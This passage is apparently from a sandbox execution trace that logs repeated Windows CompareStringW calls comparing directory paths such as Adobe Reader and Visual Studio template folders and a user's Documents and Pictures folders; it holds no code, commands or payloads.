Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 1 [0038.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 2 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\", cchCount1=76, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", cchCount2=65) returned 1 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", cchCount1=78, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", cchCount2=65) returned 1 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", cchCount1=39, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", cchCount2=65) returned 1 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FBwe\\", cchCount1=44, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", cchCount2=65) returned 1 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", cchCount1=65, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", cchCount2=65) returned 2 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\", cchCount1=76, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\", cchCount2=64) returned 3 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\", cchCount2=64) returned 3 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\", cchCount2=64) returned 1 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\", cchCount2=64) returned 3 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 1 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 3 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 1 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 1 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount2=92) returned 2 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\", cchCount2=64) returned 3 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\", cchCount2=64) returned 1 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\", cchCount2=64) returned 3 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\", cchCount2=64) returned 1 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\", cchCount2=64) returned 3 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount2=97) returned 1 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount2=97) returned 2 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount2=97) returned 1 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount2=97) returned 2 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\", cchCount1=58, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount1=40, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 2 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\", cchCount1=58, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount1=40, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 2 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\", cchCount1=58, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount1=40, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 2 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\", cchCount2=60) returned 3 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\", cchCount2=60) returned 1 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\", cchCount2=60) returned 3 [0038.647] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\", cchCount2=60) returned 1 [0038.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\", cchCount2=60) returned 1 [0038.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\", cchCount2=64) returned 3 [0038.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\", cchCount2=64) returned 3 [0038.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\", cchCount2=64) returned 1 [0038.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\", cchCount2=64) returned 2 [0038.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\", cchCount2=58) returned 3 [0038.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\", cchCount2=58) returned 1 [0038.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\", cchCount1=60, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\", cchCount2=58) returned 1 [0038.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\", cchCount2=58) returned 3 [0038.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\", cchCount2=58) returned 2 [0038.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", cchCount2=61) returned 1 [0038.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\", cchCount1=97, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", cchCount2=61) returned 3 [0038.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", cchCount2=61) returned 3 [0038.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", cchCount2=61) returned 1 [0038.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\", cchCount1=76, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", cchCount2=61) returned 3 [0038.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\", cchCount2=64) returned 3 [0038.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\", cchCount2=64) returned 3 [0038.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\", cchCount2=64) returned 1 [0038.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\", cchCount2=64) returned 1 [0038.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\", cchCount2=64) returned 3 [0038.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\", cchCount2=58) returned 3 [0038.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\", cchCount2=58) returned 1 [0038.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\", cchCount1=60, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\", cchCount2=58) returned 1 [0038.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\", cchCount2=58) returned 2 [0038.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\", cchCount2=64) returned 3 [0038.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\", cchCount2=64) returned 1 [0038.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\", cchCount1=60, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\", cchCount2=64) returned 3 [0038.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\", cchCount2=64) returned 3 [0038.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\", cchCount2=58) returned 3 [0038.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\", cchCount2=58) returned 1 [0038.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\", cchCount1=60, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\", cchCount2=58) returned 1 [0038.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\", cchCount2=58) returned 1 [0038.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\", cchCount2=58) returned 2 [0038.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\", cchCount2=64) returned 3 [0038.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\", cchCount2=64) returned 1 [0038.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\", cchCount1=60, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\", cchCount2=64) returned 3 [0038.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\", cchCount2=64) returned 1 [0038.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\", cchCount2=64) returned 3 [0038.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\", cchCount2=64) returned 3 [0038.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\", cchCount2=64) returned 1 [0038.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\", cchCount2=64) returned 1 [0038.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\", cchCount2=64) returned 3 [0038.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\", cchCount1=60, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\", cchCount2=64) returned 3 [0038.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\", cchCount2=58) returned 1 [0038.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\", cchCount2=58) returned 3 [0038.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\", cchCount1=76, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\", cchCount2=58) returned 3 [0038.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\", cchCount2=58) returned 3 [0038.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\", cchCount2=58) returned 2 [0038.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", cchCount2=61) returned 1 [0038.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", cchCount2=61) returned 3 [0038.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\", cchCount1=76, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", cchCount2=61) returned 3 [0038.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", cchCount2=61) returned 1 [0038.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", cchCount1=61, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\", cchCount2=61) returned 2 [0038.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\", cchCount1=58, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\", cchCount2=58) returned 1 [0038.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\", cchCount1=92, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\", cchCount2=58) returned 3 [0038.649] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\", cchCount1=76, lpString2="C:\\Program Files 